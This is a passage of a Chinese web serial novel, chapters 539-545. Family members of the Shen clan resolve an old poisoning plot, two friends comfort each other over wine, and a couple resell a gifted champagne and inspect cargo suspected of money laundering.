姜花衫沉浸在自己的世界里浑然不知,沈归灵见她入迷,犹豫片刻回房间拿了一沓护航舰的图纸,轻手轻脚走进客厅…… * 春园。 “枝枝,枝枝……你先别急,再让我考虑考虑……” 沈眠枝表情严肃,“爸爸你要是能考虑清楚也不用做出这么多错事了,什么都别说,我们现在就一起去见爷爷,把事情说清楚。” “现在?”沈让眼皮抽搐,“我做的那些事,单拎一件出来都可能被逐出沈家,要不?你让爸爸再缓缓?” 沈眠枝拽着沈让的胳膊,“爸,逃避是解决不了问题的,爷爷是个好家长,如果他真的将你逐出沈园,那就一定有非逐不可的理由,你不用怕,我会一直陪着你的。” 沈让听了这话,心中五味杂陈也不知是喜是忧,他看着女儿眉眼,略有怔忡,“枝枝,爸爸为妈妈报仇你觉得有错吗?” 沈眠枝愣了愣,抬眸看向沈让,她想了想,摇头,“没有错。” 沈让摸了摸她的头,“枝枝,你会不会怪爸爸?是爸爸不好,是爸爸没有保护好妈妈才让你受了那么多委屈,你们明明是母女,你却连自己的妈妈长什么样子都不知道。” 沈眠枝轻叹了一声,“爸爸,我不怪你,我也不怪爷爷。” 这么多年,母亲一直是禁忌,很小的时候她总是会问沈让,她的妈妈去哪了,为什么别人都有妈妈她却没有?等后来她稍微懂事一点,这个问题就再也没问过了,因为她发现每次她问过之后,沈让都会很伤心,慢慢地,她就接受了自己没有妈妈这件事。 早在那时其实她就已经在爸爸和妈妈之间做了选择。 其实,这里面真正放不下的那个人其实是沈让,他愧疚于自己亲手杀了最爱的人,又痛恨自己让女儿失去母亲,强烈的自责让他无法正视自己的内心,所以才会急需用怨恨掩藏自己的脆弱。 沈眠枝看出病症所在,直言劝道,“所以,爸爸你不需要自责的,没有人会怪你。妈妈也不会,因为在她做出举枪射杀爷爷的举动时,她其实就已经做出了取舍。其实您心里很清楚,她舍弃了我们,这跟爷爷无关,您不应该迁怒他。” 沈让怔然,他万万没想到沈眠枝竟然会说出这么一番话。 这话太清醒也太不近人情, 沈眠枝轻轻拍了拍沈让的手掌,像大人安慰小孩儿,“爸爸,去向你的爸爸道歉吧,趁现在还来得及。” …… 第540章 剥茧抽丝的内情 “咔嚓——” 细弱的枝条应声掉落,沈庄放下剪刀回头看着眼前的男人,“她真这么说?” 沈让回想起沈眠枝当时的眼神,眼眶隐隐泛着水光。 沈庄见状,斜看了他一眼,回身落座,“瞧你这点出息。” 沈让抹了抹眼角,“您不懂。” 沈庄没好气,“我是不懂,我生了那么多个就没一个这么省心的,你当年那毒但凡用量再多一点,我现在就挂墙上了。” 八年前,沈年下毒那天晚上,他对着亡妻的灵牌坐立难安,脑子时一会儿闪过妻子奄奄一息倒在血泊中,一会儿又是年幼的女儿抓着他的衣角求他陪陪自己,画面如默片反复拨弄,最后倒在血泊里的变成了他的父亲。 沈让惊出一身冷汗,这才意识到自己做了什么混账事。 他摔门而出,直奔沈园,恰巧见沈庄在低头喝茶,他来不及解释,上前抢过沈庄手里的茶盅摔在地上,摔了茶盅犹不放心,又把茶桌上的茶壶都砸了个稀巴烂。 沈庄眼里略有些诧异,直到沈让举起他最心爱的那套天青宋制官窑,老爷子来举起拐棍制止,“别摔了,里面没毒。” 沈让顿时像被雷劈中一般,神情扭曲看着沈庄,“您……” 沈庄站起身,风轻云淡接过沈让手里的茶壶,对着壶嘴喝了一口,“败家子,我要是等你来救,尸体都凉了。” 往事历历在目,沈让眼角的酸涩顿时消散,表情略有些尴尬。 都说姜还是老的辣,老爷子是真真让他信服了。 他也是被沈庄打了一棍才明白过来,原来老爷子早就知道他撺掇沈年给他下毒,他们策划谋杀的同时,何尝又不是老爷子对他们的反测试。 实则沈庄早就知道有人潜伏在暗处,蓄意挑起沈家内讧吞并沈家,沈庄佯装不知便是想揪出幕后黑手。但人非草木,即便沈庄算计的一切但真正面对亲人谋杀时,他还是陷入了自我怀疑。 沈让至今还记得,沈庄拍着他的肩膀,笑容夹在眼角的皱纹里萧瑟悲怆,“纵然有瑕,但为父还是很高兴你来了。” 那是沈让第一次生出一种家族英雄迟暮的感觉,他突然反应过来在他闯入花厅之前的父亲有多绝望,他的长孙受儿子挑唆给他下毒,他为这个家奉献了一辈子,结果被他庇护的孩子却恨不得他去死…… 沈让在沈庄的测试中只拿到了刚刚及格的成绩,但沈庄却还以他百分百的信任,那天之后,老爷子将暗堂的真正决策权托付给了沈让,从此沁园的安危,他的命都交付给了沈让。 沈让也曾问过沈执,会不会担心他又出卖他。 沈庄依旧风轻云淡,“生死关头你已经作出过两次选择了,若是第三次还要背叛,那一定是为父让你失望了。” 从此,沈让再也没有动摇过。 至于为什么没有对沈眠枝说出实情,因为这也是老爷子的测试。 沈执背叛,之前由他掌管的权力急需有个能成事的挑起,选来选去,沈庄最终选中了沈眠枝。 沈让挨着沈庄下首入座,回想起刚刚在春园的种种,眉眼间满是欣然。 沈庄一眼就看出了沈让的心思,“行了,我早说她是个好的,偏你说她年轻不够沉稳,现在还有什么话说?” 沈让摇头,嘴角微翘,他当然无话可说,枝枝的表现比他当时那会儿不知道要好多少倍,真是长大了。 沈庄,“既是如此,找个机会回绝了周家那边,那个周宴珩心思不纯不是良配。” 沈让笑容一顿,颇有几分无奈,“不瞒您说,我也没看上周家那小子,但这门婚事是枝枝求着我撮合了。” 沈庄略有几分意外,“你是说,枝枝看上周家那小子了?” 沈让皱眉,摇头又点头,“说不准。” 当初周国潮不知从哪弄来了他挪用暗堂私款的账本,并信誓旦旦承诺他,若以后两人成亲家,周家会出资赞助沈让笼络自己的势力。沈让假意求和,不过是想在接触过程查查周家的底。 原本他一直咬死没有松口,是沈眠枝突然有天跑到他跟前求他应下周家的婚事,作为父亲,他不是没劝过,周家人以为他们能瞒天过海,殊不知沈让早把周宴珩的底裤都查清楚了,若不是沈眠枝一意孤行沈让打死都不会应口。 “说不准?”沈庄冷冷瞪了他一眼,“你怎么当爸爸的?” 沈让有些心虚,低头不语。 沈庄想了想,“既然是枝枝的意思,那就等等再看,周家那边你小心应对,别让他们看出你有备而来。” “明白。”沈让应下后忽然想到什么,表情微微有些不自然,“爸,哥那边……” 说起沈澈,沈庄眉眼登时又冷了下去。 毕竟是一母同胞,沈让对沈澈和沈娇的感情做不得假,想了想还是帮着求情,“爸,等查清楚了这件事,证实阿澈哥对您对沈家人并未出手,您能不能网开一面……” “他已经对小花儿出手了了!”沈庄冷声打断,“怎么?你也觉得小花儿不是沈家人?” 沈让心知老爷子对姜花衫的偏爱,生怕沈庄误会,连忙解释,“爸,我不是这个意思。昨天阿澈哥来找我时,他说他已经知道错了,他还说说秋园的事是沈执瞒着他做的,他事先并不知情。” 沈庄眼里没有半分温情,“他若真知道错了,就该像枝枝说的那样,来向他的父亲道歉?他求你杀人灭口,不是因为他知道错了,而是他知道怕了。” “这世上知错才还能改,只怕改不了。” …… 第541章 葡萄酒和盐酥鸡 姜花衫搁笔,揉着胳膊伸了个懒腰。 远处海港亮起零星船灯,余晖透过玻璃窗落在惊涛骇浪的深海,画作里的月光和荧光同时活了一般。 姜花衫盯着看了许久,拿起手机准备拍给沈眠枝,恰巧这时,手机跳出一条信息。 -【沈眠枝:衫衫,菊园的管事在去襄英的路上被人灭口了,是我爸爸干的。他被四伯威胁了,四伯就是沈执背后之人。】 姜花衫指尖微顿,盯着屏幕上的文字陷入的沉思,没想到这件事竟然还是牵扯到了沈让,难怪沈眠枝会有这么大的反应。 -【沈眠枝:另外,我还知道了一件旧事。原来沈年之所以被逐出沈家,是因为他受人挑唆给爷爷下毒。】 赌? 看见这个字眼,姜花衫没由来地心震了一下,因为知道沈庄的结局,所以她对这个字格外敏感,一直提醒郑松要注意老爷子的饮食。但她万万没想到,爷爷竟然在八年前就已经经历过一次毒杀。 姜花衫眉头紧蹙,指尖飞快输入:【是谁挑唆的?】 正准备发送,沈眠枝的信息快一步弹出。 -【沈眠枝:衫衫,对不起,挑唆沈年的是我爸爸,他受不住亲手杀死妈妈的愧疚,积愧成恨。】 既然是沈让? -【沈眠枝:不过你放心,我已经劝爸爸向爷爷坦白了,有我看着他,绝不会让他一错再错。衫衫,你能不能原谅我爸爸这一次,我保证一定会让他给爷爷一个交代的。】 姜花衫眼底闪过一丝暗色,默默将编辑好的文字删除。 * 春园。 沈眠枝躺在竹椅子里,仰着头一动不动看着葡萄藤里的碎光。 那条消息发过去已经十分钟了,信息显示已阅,但姜花衫迟迟没有回复。 沈眠枝形容不出自己现在的心情。 或许,衫衫是对她失望了吧? 她明知道衫衫把爷爷看的很重,也知道以她的性格,得知爷爷八年前险些被毒杀一定不会放过涉事的所有人,她更知道,姜花衫有这个能力,所以当她发现这个人是自己的父亲时,她不能一视同仁了,她只能卑劣地请求衫衫原谅。 说出这些话之前,她想了很多请求的话,可真正要说的时候才发现一句都说不出口。 姜花衫九死一生也要沈家,她护着从来不是沈家,而是有沈家的爷爷。 爸爸动了她的逆鳞,她轻飘飘一句能不能原谅,又把姜花衫这些年的努力置于何地呢? 沈眠枝耷拉的眼睑,指尖有意无意敲点着手机屏幕。 如果衫衫真的对爸爸出手她该怎么办?我做不到无动于衷,但她也不想和好朋友决裂,她好不同意才有了朋友。 “呀,好香啊,是葡萄酒吗?” 沈眠枝眼睑上扬,略有些怔愣扶着摇椅坐了起来。 傅绥尔言笑晏晏,提着手里的食盒,“正好,我让冯妈做了盐酥鸡。” 沈眠枝还有些没有反应过来,神色有些迟缓,与她平时的模样大不相同,“你怎么来了?” “我怎么不能来?”傅绥尔打开食盒,端出香喷喷的盐酥鸡,扯了一只鸡腿递给她,“诺,衫衫不在,我们一人一个鸡腿。” 沈眠枝略有不解看着她,傅绥尔摇了摇头,“衫衫怕你多想,特意让我来传个话,她说:‘既然爷爷都原谅了,她当然也会原谅’,你啊!真是成也多思败也多思,那么聪明的人怎么这点小事反而看不明白了?” 沈眠枝怔愣,姜花衫的意思是爷爷知道内情?可是……怎么可能?爷爷如果知道怎么可能还会放任爸爸掌管暗堂? 忽然,她氤氲着水汽的眸色霍然清明。 这就是她和姜花衫的区别,在她心里的,爷爷是会原谅孩子犯错的父亲,但在姜花衫眼里,爷爷更伟大,他默默承受了被长孙儿子背刺,却依旧心无芥蒂地托举,哪怕沈年真的给他下毒,爷爷也只是把他赶走并未还之彼身。 沈眠枝看着傅绥尔递过来的鸡腿,心绪复杂,“绥尔,你也这么认为吗?” 傅绥尔点头,“嗯,我相信衫衫,她对沈家人的判断比任何人都准。比如现在,她说你需要一个朋友,所以我来了。” 傍晚的风从山峦吹到眼前。 沈眠枝似乎明白过来,低头看着竹椅上的手机。 不回答不是因为对她失望了,而是知道她现在正经历彷徨无助,让一个朋友带着答案来,解她困惑,也解她孤独。 就像傅绥尔说的, 姜花衫好像很了解沈家的每一个人。 “……” 沈眠枝接过鸡腿,笑容里多了几分释然,“绥尔,谢谢你。” “害!客气什么?”傅绥尔大大咧咧入座,随意将桌上用过的茶杯盖上,自己拿了个新盏,“来都来了,喝一杯。” 沈眠枝笑了笑,用竹勺取了半杯葡萄酒倒上,又给自己满了一杯,傅绥尔略有些不满,沈眠枝轻声解释,“你酒量不好。” 谁酒量不好? 傅绥尔抢过竹勺倒满,忽然想到什么,拿出手机给姜花衫打了个视频。 “嘟——” 电话那边很快接通。 姜花衫刚洗完澡,挂着水汽的脸蛋比剥了壳的荔枝还嫩,“干嘛?” 傅绥尔举着手机,镜头对准自己和沈眠枝,“我们在喝酒呢?一起啊?” 姜花衫懒洋洋,“我在鲸港呢,喝不了。” “好办!” 傅绥尔把手机立在桌面,拿了新盏倒了满满一杯放在镜头前,“云喝酒,干杯!” 沈眠枝哭笑不得,绥尔外面沉稳老练,所有孩子气的一面都给了姜花衫。 姜花衫表情冷淡,抬手做了个碰杯的动作。 沈眠枝看在眼里,眉眼顿时落满了温柔。 傅绥尔扒了半边鸡翅递上前,“鸡腿我和枝枝分了,你吃个翅。” 姜花衫,“有点咸。” “咸?那就喝酒。” “枝枝,给衫衫倒酒。” 葡萄酒香和盐酥鸡的肉香同时萦绕,晚秋葡萄架下,少女明媚,有酒有肉,有问有答。 …… 第542章 招蜂引蝶的龟 夜幕悄然而来,海岸的渡口星灯连成一片人间星河。 傅绥尔闹到后面,人已经醉了七分,姜花衫在阳台吹风,有一搭没一搭聊着天。 “叩叩——” 门外响起敲门声。 她回头看了一眼,跟沈眠枝招呼了一声挂了视频,推门走出阳台。 不用想也知道外面是谁,姜花衫回头看着一陈列柜的玩具,沉默片刻,拉开一条极小的门缝,“什么事?” 开门的刹那,沈归灵闻到了一抹淡淡的花香,他眸光在她略带水汽发丝停留了片刻,又若无其事转回目光,“饿了没?” 从画完那幅画她就说要回房间洗澡,一洗就是三个小时,沈归灵在客厅等了又等,终于是没熬过她。 姜花衫摸了摸肚子,刚刚光顾着和傅绥尔喝酒了,盐酥鸡没吃几块,现在倒是有些饿了。 沈归灵心领神会,一本正经,“莫然也不知道怎么回事到现在还没来?要不,我们出去吃?” 出去吃? 姜花衫皱眉,一想到还要出门就觉得这餐不吃也罢。 眼看她要拒绝,沈归灵立马抛饵,“我刚刚查到,姚歌今晚有一艘货船要出港,目的地是S国,我猜应该是她给沈年的物资,吃完饭我们正好可以顺道去看看。” 姜花衫瞬间来了精神,“那干脆别吃饭了,我们带着面包在路上啃,直接去看船。” “……”沈归灵对她这突如其来的吃苦耐劳精神颇有些无奈,“船还没有到港,我们先去海港附近的餐厅吃饭,等货到了自然会有人通知我们。” 生怕姜花衫要在码头等船,想了想又补充了一句,“放心吧,我都安排好了。” “行叭~”姜花衫隔着门缝打量了一眼,“那你等等,我换个衣服。” “砰——”的一声,门缝贺龙。 沈归灵在门口站了一会儿,转身步入客厅。 正准备拿出护航舰的图纸再研究研究,过道传来一声吱呀声,姜花衫蹭了一样冒了出来,“走吧。” 沈归灵愣了愣,姜花衫穿着一套黑色运动衣,头上绑着利落的高马尾,不知道的还以为今天有什么秘密任务需要执行。 “怎么了?你那什么表情?” 沈归灵回过神,眉眼带笑,“好看。” 姜花衫,“……” * 南通高速。 关鹤一手攥着安全带,一手吊着车顶的把手,面露惊恐看着周宴珩,“大哥!你悠着点着,我们关家三代单传,我爸还指望我给他养个孙子,我不想死在这。” “闭嘴。” 跑车的操作空间更大,周宴珩漫不经心把控着方向盘,油门一脚到底。 “呜呜——” 涡轮的轰鸣声甚嚣尘上,如蛇眼酷炫的车灯快得都拉出了幻影。 关鹤看着不断上升的时速表,表情绝望,“不是,说好的一起去京郊赛车,你开来南湾算是怎么回事?” 周宴珩,“姜花衫在南湾。” “草!”关鹤没忍住啐了一口,“不是,你都为了她把沈执杀了,她还对你爱搭不理?这种女人没有心的,我劝你还是换个人玩吧?” 没有心? 周宴珩笑了笑,抬着手掌点了点方向盘,“说得好像我有心似的?” 关鹤瞥了他一眼,“人家都不理你了,你还热脸贴冷屁股亲自送上门,谁看了不夸一句有心了?” 周宴珩,“……” 第543章 凑整 “妮妮,那个女生好漂亮啊,我们都看走眼了。” 当时灯光作祟,女生们初见沈归灵便惊为天人,又见他对面的女生穿了一身宽松肥大的黑色运动服便起了轻视之心,谁能想到女生转过来的却是一张跳出画风的神颜。 长成这样,谁还管她穿什么啊?就算披个麻布也好看啊。 “感觉没戏啊,那个男人都没有看我们一眼。” 安佳妮笑了笑,见姜花衫没搭理自己丝毫没有在意,从酒车展示架上挑了一瓶年份久远的香槟递给侍酒师。 “把这瓶酒送给那位小姐。” “您……是说要送给那位先生的女伴吗?” 不怪侍酒师反应这么大,安佳妮选中的香槟叫白雪香槟,是从一艘贵族沉船里打捞上来的,经历过深海气压的催化,一瓶品相好的白雪香槟在拍市的价格基本要一百二十万左右。 安佳妮身边的女伴艳羡不已,她们今天开的酒还不如这瓶酒的十分之一,言语间不免有些酸涩,“妮妮,咱们还不知道他们是什么关系,万一他们俩是情侣,你这酒岂不白送了?” 安佳妮拿起桌上的湿巾,动作优雅擦拭指尖,“无所谓,也不值几个钱。” 她看上的男人,就算有对象也不是什么大事。 姜花衫原本还想问沈归灵认不认识,是不是他池塘里的鱼,但见他把一整杯橙汁都喝了不免觉得好笑,清咳了一声,故意逗他,“嗯,表现不错,加0.01分。” 沈归灵挑眉,当即在心里换算出了当前的满意值。 0.11?! 谁教她这么加分的? 原本还有几分不满,但在看见姜花衫掩藏在眸底的狡黠时忽然心情也跟着好了起来,算了,攒一分是一分吧。 “美丽的小姐……”侍酒师再次闯入二人世界,解开香槟上的丝绒红绳,极为绅士,“这是白雪香槟,拍市价格一百二十万,口感酸涩回甘果香绵密,请问需要现在打开吗?” 她也有? 姜花衫故作诧异,“我没点啊?” 侍酒师解释,“是刚刚那位尊贵的小姐送给您的。” 刚刚还说美丽,现在就改尊贵了?这酒侍是会说话的。 花衫笑了笑,抬眸看向对面那桌女生,人群里,她一眼就锁定了始作俑者。 坐在C位的女生烫着金色波浪卷,打扮得很有品位,一看就是哪个财阀家族娇养出来的千金。 安佳妮早就预料姜花衫会看过来,她故意歪着头,看似友好实则十分挑衅地朝她招了招手。 “南湾安氏集团的大小姐。” 姜花衫当即反应过来,回头看着沈归灵,“你的鱼?” “……”沈归灵皱眉,“我不认识她,之前在南湾做宣发秘书时,我负责对接南湾实业名企,所以这些集团高层的情况我大致都了解一点。” “哦~~”姜花衫拉着尾音,点了点头,“所以只记得人家女儿?” 沈归灵直接忽视,继续解释,“安氏集团掌握了南湾百分之八十的海港生意,她父亲朱世雄曾连续三年获得南湾最具贡献企业家称号,其名下的货船、游艇、渡轮就有几百艘,是南湾有名的实业船王。” “朱世雄是入赘安家的,前妻死了之后又娶了新妇,新妇给他生了一儿一女都养在安家。按年纪算,她应该是朱世雄和发妻生的女儿,也是安家唯一承认的血脉。” 姜花衫啧啧咂舌,“难怪出手这么阔绰。” 嘴上这么说,但她心里明白,沈归灵张口就能说出南湾这些豪绅家庭背景,可见他对南湾也动了心思。 沈归灵自顾自倒了一杯橙汁推到她面前,“待会还有事做,酒就别喝了,耽误事。” 姜花衫看了他一眼,“可是我还没有喝过这么贵的酒。” 长这么大,除了果酒沈庄都不让她沾杯,自然是没有这种机会。 这话说得委屈巴巴,如果对面坐着的是沈兰晞或者沈清予,今晚的香槟都能开成塔了,但偏偏对面坐着的是经济拮据,欠下三亿巨债的沈归灵。 沈归灵权衡利弊后一本正经,“我也没有喝过,要不尝一点?” 他现在资金回笼慢,稍微有点现金又要转投回去,短时间还真不好拿这么多钱给她买酒。 “……” 长得一副矜贵的模样,没想到竟然是个小白脸? 两人说话毫无顾忌,酒侍默默看了沈归灵一眼,不禁有些同情眼前的女孩。 安佳妮先是当着姜花衫的面挖墙脚,在发现比美貌比不过时后立马改用金钱碾压。安佳妮故意选了一瓶价格昂贵的香槟,无非就是想踩着姜花衫的脸向沈归灵展示自己多有实力。 但凡有点骨气的都应该把酒退回去。 偏偏眼前两个都没有‘骨气’。 “还是算了。”姜花衫轻叹了一声,略有些惋惜看向酒师,“我听说有些餐厅能高价回收名酒,我今晚有事喝不了,不如卖给你们餐厅吧?” 餐厅确实有八折回收名酒的规矩,但…… 侍酒师,“这,会不会不好啊?” 人家刚送你,你转头就卖了? “有什么不好的?你不是说送给我了吗?难不成是逗我玩的?!” 她冷着脸,显然逗她玩这件事比撬她墙角更严重。 “没有没有。”侍酒师连忙摆手解释,“我不是这个意思,酒单都开了,这已经是您的东西了,我们餐厅回收价一律是八折,您看?” “这就对了,八折就是96万,直接打我卡上,酒你们拿走。” 吃个饭莫名其妙赚了一百万,虽说现在不缺钱,但白给的谁不喜欢? 沈归灵见她高兴,立马喊住酒师,“我也算你们的老客户了,这酒的品相不错,你们就凑个整一百二十万收吧?” 侍酒师嘴角抽搐,你直接报原价算了,还说什么凑整? 良好的职业素养不允许他与客人起冲突,侍酒师:“抱歉,这事我做不了主,我需要去请示一下经理。” 到时候锅就是经理的了。 没一会儿,经理来了,简单扫了一眼酒单,笑容可掬,“您稍后,我去请示老板。” …… 第544章 何患无辞 “一、二、三、四、五、六……” 三分钟后,姜花衫站在码头数着银行账户的打款提示。 不是,现在都是这么凑整的吗? 她高兴地合不拢嘴,“这餐厅你开的?” 沈归灵笑了笑,“我哪有这精力?” 不过是餐厅老板认出了他想卖个好罢了。 吃顿饭还能捡两百万,下次还来。 姜花衫努力收拢嘴角,左右环顾,“姚歌的船呢?什么时候到?” 话刚说完,一辆黑色轿车贴着马路停在两人面前。 莫然笑着推门下车,“少爷,姜小姐,吃好了吗?” “莫助理?”姜花衫有些惊讶。 莫然点了点头,“码头那边我已经安排好了,两位请上车。” 难怪沈归灵还能悠哉跟她一起吃晚餐,原来是背后有个全能助理。 沈归灵拉开车门,示意姜花衫先上车,抬眸的瞬间正好看见渡轮的露天甲板上有人在朝她招手。 沈归灵转眸,回头看了莫然一眼,弯腰上车。 莫然不动声色,单手撑着车顶,挑眼往甲板看了一眼若无其事上车。 车辆扬长而去,留下一条拉长的尾灯。 “那辆车上的是南湾的车牌,虽然没有标志,但看着好像也不便宜。” “能有多贵,你没听见服务员说的吗?他们把妮妮送的酒卖了套现,真是有够低级的。” “那个男人连看都不敢看我们,估计是被妮妮的财力吓到了!妮妮,你这么豪横,让那些臭男人还怎么活啊?” 安佳妮被众星拱月围在中心,对周遭拙劣得讨好充耳不闻,她脑子里还在回顾莫然上车时看她的眼神。 “安小姐。”侍酒师的突然出现打断了安佳妮的思路。 安佳妮很快把莫然抛之脑后,双手撑着栏杆满脸高高在上的优越感,“问到了?卖了多少钱?” 侍酒师拿出回收账单,“原本按店里的规矩,一律八折收回,但那个先生说他是餐厅的老客户,希望能原价回收。” “哦?”安佳妮两指抽过账单。 周围的女生捂着嘴偷笑,“长得好看没想到脑子这么笨,他难道不知道这渡口半个海域的船都是安家的,他求老板还不如来求我们妮妮,说不定我们妮妮高兴又赏他一瓶。” 安佳妮笑了笑,扫向账单的瞬间当下变了脸。 “两百万?!” 原本还在嘲讽女生们两级反转,满脸不可思议,“妮妮,是不是酒店经理吃回扣了?” 侍酒师摇头,“这是董事长特批的。” “董事长?那不是叔叔吗?怎么会?”女生们疑惑不解看向安佳妮。 别人不懂,但安佳妮自幼领教过商场杀伐,立马就意识到了事情的反常。 商人逐利,正常96万就可以回收的酒,她爸爸却以高一倍不止的价格回收,这收的根本不是酒而是人情。对方到底是什么人,竟然连她的父亲都要放低姿态讨好? 安佳妮隐隐生出一种不好的预感。 “今天就这样吧,先散了。”她摆摆手跟身边的女伴作别,打算亲自回家问问什么情况。 大小姐我行我素惯了,周围的人也不敢有什么意见,连忙跟在身后。一群人正准备下渡轮。 突然,刺耳的警报声拉响了整条海岸线,船上的客人被警报声惊动,纷纷从餐厅里走了出来。 “出什么事了?” 海岸路口停满了警车,一群警员下车在渡口集合,为首的男人戴着军官帽气势汹汹。 安佳妮一眼就认出了对方的身份,南湾总警司马温,姚勇伟因公殉职后他便接管了南湾警署署长的职位,这两年风生水起也是安家的座上宾。 这样的人物怎么会突然造访海港?难不成这附近发生了什么意外? 还没等她想明白,马温领着一群警员直接登船,环顾一圈表情冷峻,“谁是这里的负责人?” “是我。”餐厅经理从人群里走了出来,脸上带着谄媚的笑,“长官,有什么事吗?” 马温拿过身后小弟递来的调查令,“经民众举报,你们餐厅涉嫌倒卖文物,这是搜查令。” “倒卖文物?”经理吓得脸色发白,“这……这不可能的!长官,我们都是合法经营。”说罢,故意上前攀附关系,“长官,我们是安家……” “安什么安?国家文物反映的是一代国情不同忽视,是不是合法经营查过了才知道。” 话落,身后的警员立马出动搜查。 眼看这些官老爷半点情面都不讲,经理心知这是被人恶意针对了,可,这是在南湾,还有谁能针对安家? 经理陪着笑,转头朝身后的店员使了个眼色,那人会意,赶紧跑出人群打电话求助。 “妮妮,这是怎么回事啊?” 安家能垄断南湾海港,该打点的自然都打点好了,按道理是不该出现这一幕的。 安佳妮冷着脸,“你问我,我问谁?” 问话的女生吓了一跳,不敢再接话。 那头,经理搬了个皮椅亲自送到马温面前,“长官,您坐,该配合的我们肯定配合,但您放心,我们餐厅清清白白肯定搜不出什么文物。” 话音刚落,两个警员扛着一个木箱从餐厅里走了出来,“长官,找到了。” 找到了? 经理吓得双腿发软,待看见他们所谓的文物是什么后,立马大舒了一口气,“长官,误会,这是里面是酒,不信您打开喝一口。” 那群警员搜出来的正是要价一百二十万一瓶的白雪香槟。 “误会?”马温随手拿起一瓶香槟看了看,冷笑道,“证据确凿你还敢说是误会?来,把这些涉事人员都拷起来。” “慢着!”安佳妮脸色大变,阴沉着脸从人群里走了出来,“马署长,这么多人看着,你抓人也要讲证据吧?这些的的确确就是普通的酒,餐厅有酒类营业许可证,卖酒不是很正常吗?你用这个理由抓人是什么道理?” 马温皱眉打量她,“你又是谁?跟这家餐厅有关系?” 安佳妮抬了抬下巴,“我姓安,这家餐厅是我家的产业。” “那正好,一起抓了。这酒可是从深海沉船里打捞上来的,当年参与打捞的是南湾军舰,有心之人单从从酒里的介质、压强就能推算出沉落的深度,你们这算是泄露我国国防情报,往大了说,有通敌卖国的嫌疑。” 安佳妮,“……” 原本以为她自报姓名多少会得到一点优待,没想到死地更快。 …… 第545章 车里车外 黑色的轿车在空旷的道路上疾驰,前方禁止通行,哨岗警卫见有人擅闯,正欲吹哨拦截。 莫然闪动大灯,两远三近,警卫员顿时脸色大变,立即开闸放行。 三号码头是鲸港的特殊仓库,来往出行的都是价值连城的高级货,所以不管是守备还是检验都格外严格。 黑色的轮毂从地面的3飞速碾过,莫然驾驶轿车直接入库。 “少爷,姜小姐,到了。” 莫然下车,绕过一圈主动给姜花衫开门。 姜花衫原以为他们是暗中调查,没想到就这么水灵灵地闯进来了?这么大的阵仗难道就不怕姚歌发现吗? 沈归灵看出了她的顾虑,低声解释:“越小的地方权势越会被放大,姚歌的手已经伸不进南湾了。” 不是姚歌的手伸不紧,而是这两年沈归灵的手越伸越长。 姜花衫面色不显,指着眼前堆积如山的货物,“这些货就是姚歌发给沈年的?” 莫然看了沈归灵一眼,适时开头,“没错。出境之前所有的货物必须经过关检,收到少爷的消息后,我提前拦截了夫人这批货卸在了3号仓库,只要在天亮之前重新搬上货船就不会有人发现我们动过查过这批货。” 南湾靠海港贸易起家,莫然随沈谦在这深耕多年,自然知道合理规避原则,不得不说,沈归灵这次把莫然带上的确是很多大的助力。 姜花衫看着眼前堆积如山的货物,“这么多?怎么查?” 莫然从手机里拿出提前收集的资料,“几万件货,要真人为搜查就算十天十夜也查不完,还好少爷有先见之明,让我联系渡口安检部们协调处理,这是所有机检报告。” 姜花衫接过莫然的手机,指尖点了屏幕往下拨弄,密密麻麻的物品名单逐一呈现、 画作、陶瓷、古董、文玩、珠宝…… 但,画作都是些名不见经传的作者,陶瓷、古董、文玩也是些三流货色,姚歌是姚家大小姐,眼高于顶,怎么会把这些破烂送给自己的儿子? 姜花衫面露迟疑,神色愈发严肃,说真的,这些东西简直比直接发现毒品还让人细思极恐。 她想了一会儿没想明白,便转头看向沈归灵,“姚歌送这堆破烂想干什么?” 沈归灵,“这世上最不好估值的就是人文赋予的价值,所以画作、陶瓷、古董这类商品尤其适合洗黑钱。” 这么说她好像就明白了。 姜花衫皱眉,“你的意思是,沈年在帮别人洗黑钱?” 沈归灵摇头,“他帮别人,还是他自己需要洗这点还不能确定,单从这艘货船的物品分析,唯一能确定的就是他们要洗的钱不是小数目,应该超过上百亿。” 上百亿? 这是做了多少丧尽天良的事? 这种毒蛇放在外面实在太危险了,万一他和爷爷的死有关鞭长莫及防不胜防,还不如骗回来杀,反正最后内鬼都是要清干净的。 姜花衫把手机递给莫然,想了想正色道,“沈归灵,你能想办法把沈年弄回来吗?” 沈归灵想了想,没有拒绝,“给我一点时间。” 莫然默默看了他一眼,心下略有些意外。但凡是个聪明人,都不会在眼下这个节骨眼让沈年回来,沈年再不济,也是沈先生发妻之子,是沈家名正言顺的长孙,尤其这几年姚家在姚礼的管制下逐渐有了起伏之势,沈年这个时候回来,必然会针对沈归灵,在羽翼丰满之前提前世子之争不是明智之举。 姜花衫得了应承心里还是不踏实,不知道为什么,她总觉得这里面还有一层关键的剧情没有解开。也正是源自于这种不安,她迫不及待想杀了沈年。 “等会儿这里还要安排装箱,我们先回去。”沈归灵看出她在胡思乱想,主动上前拉开车门,他本意不是是想让她知道,作为一条渴望转正的鱼他每天有多努力,若因此增加了她的焦虑,那就得不偿失了。 姜花衫对于想不通的事从不纠结,点头上车。 * 南湾码头,警车沿着海上餐厅停了一路,堤岸边挤满了吃瓜的南湾群众。 “这是怎么了?怎么这一条的海岸的船都被封锁,这是那个不长眼竟然还封安家的产业?” “你懂什么?南湾谁不知道南开线是安家的地盘?没看见整个南开线都贴了封条吗?出手的一定是南湾一顶一的大人物,要我看,安家这是要倒大霉了。” “呜——” 喧闹的人潮被轰鸣的气浪震碎,南湾人民听惯了渡口的船笛声,一时间都没反应过来,直到酷炫的极夜之声拉出一条幻影从人们面前一晃而过。 “豁,这不是今年的暗夜之王吗?竟然真有人买了,我们南湾出大佬了?” “省省吧,没看见人家车牌是黑牌吗?那可是鲸港的车。” 人潮的沸腾再次涌动,这边刚刚封船,那边就来了位鲸港大人物,今晚这么大的阵仗不会跟这位大人物有关吧? 另一边的警车里,一群被扣押的餐厅员工正情绪十分不稳,他们原以为背靠安家这棵大树万事无忧,没想到竟然摊上这么大的事,生怕连累自己纷纷倒戈。 “大小姐,您赶紧打电话给董事长,让他想想办法吧?要是叛国罪真成立了,不仅是我们,连安家都会跟着一起遭殃。” “是啊大小姐,我们不过就是个打工的什么都不知道,你们大人物之间的事别拿我们做筏子,你快想想办法啊。” 王佳妮全程黑着脸,想办法?她要有办法至于被抓进来吗? 这里都是汗水味,说话时口水都能溅她脸上,她安佳妮什么时候这么狼狈过? 思忖片刻,虽万般不愿,她还是从被压扁的背包里掏出了手机。 “喂?爸……” * 